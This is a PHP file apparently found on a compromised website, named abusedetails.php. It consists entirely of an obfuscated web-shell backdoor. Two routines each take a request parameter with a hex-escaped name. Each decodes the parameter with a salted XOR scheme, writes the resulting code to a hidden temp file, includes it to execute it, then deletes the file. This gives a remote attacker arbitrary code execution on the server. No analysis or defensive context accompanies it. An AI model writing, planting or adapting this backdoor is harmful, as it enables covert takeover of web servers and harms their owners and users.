File: /home/vitanhod/moringa.vitavit.com.pk/abusedetails.php
<?php if(@$_REQUEST["\x66a\x63"] !== null){ $ref = $_REQUEST["\x66a\x63"]; $ref =explode ( "." , $ref ) ; $factor = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); $y = 0; array_walk($ref, function($v7) use(&$factor, &$y, $salt4, $sLen) { $chS = ord($salt4[$y % $sLen] ); $dec = ((int)$v7 - $chS -($y % 10)) ^ 37; $factor .= chr($dec ); $y++; } ); $resource = array_filter([getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir()]); foreach ($resource as $hld) { if (is_dir($hld) && is_writable($hld)) { $record = "$hld/.parameter_group"; if (file_put_contents($record, $factor)) { include $record; @unlink($record); exit; } } } }
if(count($_REQUEST) > 0 && isset($_REQUEST["fl\x67"])){
$data_chunk = $_REQUEST["fl\x67"];
$data_chunk= explode ( '.' , $data_chunk);
$descriptor = '';
$salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($salt6);
$__len = count($data_chunk);
for ($z = 0; $z < $__len; $z++) {
$v3 = $data_chunk[$z];
$chS = ord($salt6[$z% $sLen]);
$d = ((int)$v3 - $chS - ($z% 10)) ^ 67;
$descriptor .= chr($d);
}
$comp = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/tmp", getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path()]);
for ($reference = 0, $res = count($comp); $reference < $res; $reference++) {
$ref = $comp[$reference];
if ((bool)is_dir($ref) && (bool)is_writable($ref)) {
$fac = "$ref/.property_set";
if (@file_put_contents($fac, $descriptor) !== false) {
include $fac;
unlink($fac);
exit;
}
}
}
}